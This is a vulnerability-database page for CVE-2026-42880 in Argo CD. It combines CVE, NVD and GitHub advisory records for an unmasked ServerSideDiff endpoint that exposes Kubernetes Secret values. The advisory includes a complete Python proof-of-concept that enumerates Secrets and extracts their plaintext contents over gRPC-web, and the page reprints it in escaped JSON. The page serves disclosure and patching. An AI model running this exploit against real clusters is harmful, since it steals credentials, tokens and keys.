Vulnerability-Lookup

CVE-2026-42880 (GCVE-0-2026-42880)

Vulnerability from cvelistv5 – Published: 2026-05-07 22:20 – Updated: 2026-05-14 03:56

Title

ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

Severity ?

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-212 - Improper Removal of Sensitive Information Before Storage or Transfer

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/argoproj/argo-cd/security/advi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
argoproj	argo-cd	Affected: >= 3.2.0, < 3.2.11 Affected: >= 3.3.0, < 3.3.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42880",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-14T03:56:28.920Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "argo-cd",
          "vendor": "argoproj",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.2.0, \u003c 3.2.11"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.3.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.6,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-212",
              "description": "CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T22:20:39.506Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
        }
      ],
      "source": {
        "advisory": "GHSA-3v3m-wc6v-x4x3",
        "discovery": "UNKNOWN"
      },
      "title": "ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42880",
    "datePublished": "2026-05-07T22:20:39.506Z",
    "dateReserved": "2026-04-30T18:49:06.711Z",
    "dateUpdated": "2026-05-14T03:56:28.920Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-42880",
      "date": "2026-05-21",
      "epss": "0.00036",
      "percentile": "0.10751"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-42880\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-07T23:16:32.450\",\"lastModified\":\"2026-05-11T17:46:18.257\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\",\"baseScore\":9.6,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":5.8}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-200\"},{\"lang\":\"en\",\"value\":\"CWE-212\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"3.2.0\",\"versionEndExcluding\":\"3.2.11\",\"matchCriteriaId\":\"7D45D78D-37C6-4090-849B-BE4B9F873741\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"3.3.0\",\"versionEndExcluding\":\"3.3.9\",\"matchCriteriaId\":\"8A57863A-48B6-4926-87C7-6FBBE3E30A4B\"}]}]}],\"references\":[{\"url\":\"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42880\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-08T13:06:33.203796Z\"}}}], \"references\": [{\"url\": \"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-08T13:06:50.353Z\"}}], \"cna\": {\"title\": \"ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction\", \"source\": {\"advisory\": \"GHSA-3v3m-wc6v-x4x3\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 9.6, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"argoproj\", \"product\": \"argo-cd\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 3.2.0, \u003c 3.2.11\"}, {\"status\": \"affected\", \"version\": \"\u003e= 3.3.0, \u003c 3.3.9\"}]}], \"references\": [{\"url\": \"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3\", \"name\": \"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-200\", \"description\": \"CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-212\", \"description\": \"CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-07T22:20:39.506Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-42880\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-14T03:56:28.920Z\", \"dateReserved\": \"2026-04-30T18:49:06.711Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-07T22:20:39.506Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42880

Vulnerability from fkie_nvd - Published: 2026-05-07 23:16 - Updated: 2026-05-11 17:46

Severity ?

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	argoproj	argo_cd	*
	argoproj	argo_cd	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "7D45D78D-37C6-4090-849B-BE4B9F873741",
              "versionEndExcluding": "3.2.11",
              "versionStartIncluding": "3.2.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8A57863A-48B6-4926-87C7-6FBBE3E30A4B",
              "versionEndExcluding": "3.3.9",
              "versionStartIncluding": "3.3.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9."
    }
  ],
  "id": "CVE-2026-42880",
  "lastModified": "2026-05-11T17:46:18.257",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-07T23:16:32.450",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-212"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-3V3M-WC6V-X4X3

Vulnerability from github – Published: 2026-05-07 01:56 – Updated: 2026-05-11 13:30

Summary

ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

Details

Summary

There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.

Details

Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:

// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
    TargetState:     string(diffRes.PredictedLive),
    LiveState:       string(diffRes.NormalizedLive),
})

A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:

if o.ignoreMutationWebhook {
    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)
}

The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.

When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:

kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.

PoC

#!/usr/bin/env python3
"""
Argo CD ServerSideDiff Secret Extraction PoC

Usage:
    python3 poc.py <host> <token> <app> <project>

Example:
    python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project
"""

import base64
import http.client
import json
import ssl
import struct
import sys
import urllib.parse
from collections import defaultdict

def encode_varint(v):
    out = []
    while v > 0x7f:
        out.append((v & 0x7f) | 0x80)
        v >>= 7
    out.append(v & 0x7f)
    return bytes(out)

def encode_str(field, val):
    tag = (field << 3) | 2
    raw = val.encode()
    return encode_varint(tag) + encode_varint(len(raw)) + raw

def encode_bytes(field, val):
    tag = (field << 3) | 2
    return encode_varint(tag) + encode_varint(len(val)) + val

def encode_bool(field, val):
    tag = (field << 3) | 0
    return encode_varint(tag) + encode_varint(1 if val else 0)

def decode_varint(data, pos):
    val, shift = 0, 0
    while pos < len(data):
        b = data[pos]; pos += 1
        val |= (b & 0x7f) << shift; shift += 7
        if not (b & 0x80):
            break
    return val, pos

def decode_fields(data):
    fields = defaultdict(list)
    pos = 0
    while pos < len(data):
        tag, pos = decode_varint(data, pos)
        wtype = tag & 0x07
        if wtype == 0:
            val, pos = decode_varint(data, pos)
            fields[tag >> 3].append(val)
        elif wtype == 2:
            length, pos = decode_varint(data, pos)
            fields[tag >> 3].append(data[pos:pos + length])
            pos += length
        elif wtype == 5:
            fields[tag >> 3].append(data[pos:pos + 4]); pos += 4
        elif wtype == 1:
            fields[tag >> 3].append(data[pos:pos + 8]); pos += 8
        else:
            break
    return dict(fields)


# -- grpc-web framing --

def grpc_frame(payload):
    return b"\x00" + struct.pack(">I", len(payload)) + payload

def decode_grpc_frames(data):
    frames, pos = [], 0
    while pos + 5 <= len(data):
        flag = data[pos]
        length = struct.unpack(">I", data[pos+1:pos+5])[0]
        pos += 5
        frames.append((flag, data[pos:pos+length]))
        pos += length
    return frames


# -- http helpers --

def make_conn(host):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)

def rest_get(conn, path, token):
    conn.request("GET", path, headers={
        "Authorization": "Bearer " + token,
        "Accept": "application/json",
    })
    resp = conn.getresponse()
    body = resp.read()
    if resp.status != 200:
        return None, "HTTP %d" % resp.status
    return json.loads(body), None

def grpc_post(conn, token, payload):
    conn.request("POST", "/application.ApplicationService/ServerSideDiff",
        body=grpc_frame(payload), headers={
            "Content-Type": "application/grpc-web+proto",
            "Accept": "application/grpc-web+proto",
            "X-Grpc-Web": "1",
            "Authorization": "Bearer " + token,
        })
    resp = conn.getresponse()
    raw = resp.read()
    if resp.status != 200:
        return None, "HTTP %d" % resp.status
    frames = decode_grpc_frames(raw)
    for flag, fdata in frames:
        if flag == 0:
            return fdata, None
    return None, "no data frame in response"


# -- main --

def main():
    if len(sys.argv) != 5:
        print("Usage: python3 poc.py <host> <token> <app> <project>")
        sys.exit(1)

    host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
    conn = make_conn(host)

    # step 1: list managed resources for the app, find secrets
    print("[*] Fetching managed resources for %s/%s ..." % (project, app_name))
    data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(app_name), token)
    if err:
        print("[-] Failed: %s" % err); sys.exit(1)

    secrets = []
    for r in data.get("items", []):
        if r.get("kind") != "Secret":
            continue
        name = r.get("name", "")
        ns = r.get("namespace", "")
        live = r.get("liveState", "")
        stype = "Opaque"
        if live and live != "null":
            try:
                stype = json.loads(live).get("type", "Opaque")
            except Exception:
                pass
        secrets.append((name, ns, stype, live))

    if not secrets:
        print("[-] No secrets found in managed resources"); sys.exit(0)
    print("[+] Found %d secrets" % len(secrets))

    # step 2: call ServerSideDiff for each secret
    total_extracted = 0
    for sname, sns, stype, live_json in secrets:
        # build minimal target manifest (no data field)
        target = {"apiVersion": "v1", "kind": "Secret",
                  "metadata": {"name": sname, "namespace": sns},
                  "type": stype}

        # copy required annotations from live state for SA tokens
        if live_json and live_json != "null":
            try:
                live_annots = json.loads(live_json).get("metadata", {}).get("annotations", {})
                k8s_annots = {k: v for k, v in live_annots.items() if k.startswith("kubernetes.io/")}
                if k8s_annots:
                    target["metadata"]["annotations"] = k8s_annots
            except Exception:
                pass

        # for TLS secrets, include required placeholder keys
        if stype == "kubernetes.io/tls":
            target["data"] = {
                "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(),
                "tls.key": base64.b64encode(b"PLACEHOLDER").decode(),
            }
        elif stype == "kubernetes.io/dockerconfigjson":
            target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}

        # encode the grpc request
        lr = b""
        lr += encode_str(2, "Secret")       # kind
        lr += encode_str(3, sns)             # namespace
        lr += encode_str(4, sname)           # name
        if live_json:
            lr += encode_str(6, live_json)   # liveState
        lr += encode_bool(12, True)          # modified

        query = encode_str(1, app_name)
        query += encode_str(3, project)
        query += encode_bytes(4, lr)
        query += encode_str(5, json.dumps(target))

        # reconnect for each call (simple, no pool needed for poc)
        try:
            conn = make_conn(host)
            resp_data, err = grpc_post(conn, token, query)
        except Exception as e:
            print("  [!] %s/%s: %s" % (sns, sname, e))
            continue
        if err:
            print("  [!] %s/%s: %s" % (sns, sname, err))
            continue

        # parse response
        resp_fields = decode_fields(resp_data)
        for item_bytes in resp_fields.get(1, []):
            if not isinstance(item_bytes, bytes):
                continue
            ifields = decode_fields(item_bytes)

            # field 5 = targetState (predictedLive — has real values from etcd)
            for raw in ifields.get(5, []):
                if not isinstance(raw, bytes):
                    continue
                try:
                    obj = json.loads(raw)
                except Exception:
                    continue
                if obj.get("kind") != "Secret":
                    continue
                secret_data = obj.get("data", {})
                if not secret_data:
                    continue

                # check for real (non-masked) values
                real_keys = {}
                for k, v in secret_data.items():
                    if not v:
                        continue
                    if all(c == "+" for c in v):
                        continue  # masked by argocd
                    try:
                        decoded = base64.b64decode(v)
                        text = decoded.decode("utf-8", errors="replace")
                    except Exception:
                        continue
                    if all(c == "+" for c in text) and text:
                        continue  # masked (base64 of +++...)
                    real_keys[k] = text

                if real_keys:
                    total_extracted += 1
                    print("\n  [***] %s/%s  (%s)" % (sns, sname, stype))
                    print("        %d/%d keys extracted:" % (len(real_keys), len(secret_data)))
                    for k in sorted(real_keys):
                        v = real_keys[k].replace("\n", "\\n")
                        if len(v) > 120:
                            v = v[:120] + "..."
                        print("          %s: %s" % (k, v))

    print("\n[*] Done. %d secrets with real values extracted." % total_extracted)

if __name__ == "__main__":
    main()

Impact

Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

Severity ?

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-212"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:56:53Z",
    "nvd_published_at": "2026-05-07T23:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThere is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism.\n\n### Details\nArgo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:\n\n```\n// server/application/application.go:3051-3062\nresponseDiffs = append(responseDiffs, \u0026v1alpha1.ResourceDiff{\n    TargetState:     string(diffRes.PredictedLive),\n    LiveState:       string(diffRes.NormalizedLive),\n})\n```\n\nA user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.\nWhen IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:\n\n```\nif o.ignoreMutationWebhook {\n    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)\n}\n```\n\nThe raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.\n\nWhen ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:\n\n`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller\n`\nFor extraction to succeed, the Secret\u0027s data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.\n\n### PoC\n```\n#!/usr/bin/env python3\n\"\"\"\nArgo CD ServerSideDiff Secret Extraction PoC\n\nUsage:\n    python3 poc.py \u003chost\u003e \u003ctoken\u003e \u003capp\u003e \u003cproject\u003e\n\nExample:\n    python3 poc.py argocd.int.\u003ccustomer\u003e.com eyJhbG... my-app my-project\n\"\"\"\n\nimport base64\nimport http.client\nimport json\nimport ssl\nimport struct\nimport sys\nimport urllib.parse\nfrom collections import defaultdict\n\ndef encode_varint(v):\n    out = []\n    while v \u003e 0x7f:\n        out.append((v \u0026 0x7f) | 0x80)\n        v \u003e\u003e= 7\n    out.append(v \u0026 0x7f)\n    return bytes(out)\n\ndef encode_str(field, val):\n    tag = (field \u003c\u003c 3) | 2\n    raw = val.encode()\n    return encode_varint(tag) + encode_varint(len(raw)) + raw\n\ndef encode_bytes(field, val):\n    tag = (field \u003c\u003c 3) | 2\n    return encode_varint(tag) + encode_varint(len(val)) + val\n\ndef encode_bool(field, val):\n    tag = (field \u003c\u003c 3) | 0\n    return encode_varint(tag) + encode_varint(1 if val else 0)\n\ndef decode_varint(data, pos):\n    val, shift = 0, 0\n    while pos \u003c len(data):\n        b = data[pos]; pos += 1\n        val |= (b \u0026 0x7f) \u003c\u003c shift; shift += 7\n        if not (b \u0026 0x80):\n            break\n    return val, pos\n\ndef decode_fields(data):\n    fields = defaultdict(list)\n    pos = 0\n    while pos \u003c len(data):\n        tag, pos = decode_varint(data, pos)\n        wtype = tag \u0026 0x07\n        if wtype == 0:\n            val, pos = decode_varint(data, pos)\n            fields[tag \u003e\u003e 3].append(val)\n        elif wtype == 2:\n            length, pos = decode_varint(data, pos)\n            fields[tag \u003e\u003e 3].append(data[pos:pos + length])\n            pos += length\n        elif wtype == 5:\n            fields[tag \u003e\u003e 3].append(data[pos:pos + 4]); pos += 4\n        elif wtype == 1:\n            fields[tag \u003e\u003e 3].append(data[pos:pos + 8]); pos += 8\n        else:\n            break\n    return dict(fields)\n\n\n# -- grpc-web framing --\n\ndef grpc_frame(payload):\n    return b\"\\x00\" + struct.pack(\"\u003eI\", len(payload)) + payload\n\ndef decode_grpc_frames(data):\n    frames, pos = [], 0\n    while pos + 5 \u003c= len(data):\n        flag = data[pos]\n        length = struct.unpack(\"\u003eI\", data[pos+1:pos+5])[0]\n        pos += 5\n        frames.append((flag, data[pos:pos+length]))\n        pos += length\n    return frames\n\n\n# -- http helpers --\n\ndef make_conn(host):\n    ctx = ssl.create_default_context()\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)\n\ndef rest_get(conn, path, token):\n    conn.request(\"GET\", path, headers={\n        \"Authorization\": \"Bearer \" + token,\n        \"Accept\": \"application/json\",\n    })\n    resp = conn.getresponse()\n    body = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    return json.loads(body), None\n\ndef grpc_post(conn, token, payload):\n    conn.request(\"POST\", \"/application.ApplicationService/ServerSideDiff\",\n        body=grpc_frame(payload), headers={\n            \"Content-Type\": \"application/grpc-web+proto\",\n            \"Accept\": \"application/grpc-web+proto\",\n            \"X-Grpc-Web\": \"1\",\n            \"Authorization\": \"Bearer \" + token,\n        })\n    resp = conn.getresponse()\n    raw = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    frames = decode_grpc_frames(raw)\n    for flag, fdata in frames:\n        if flag == 0:\n            return fdata, None\n    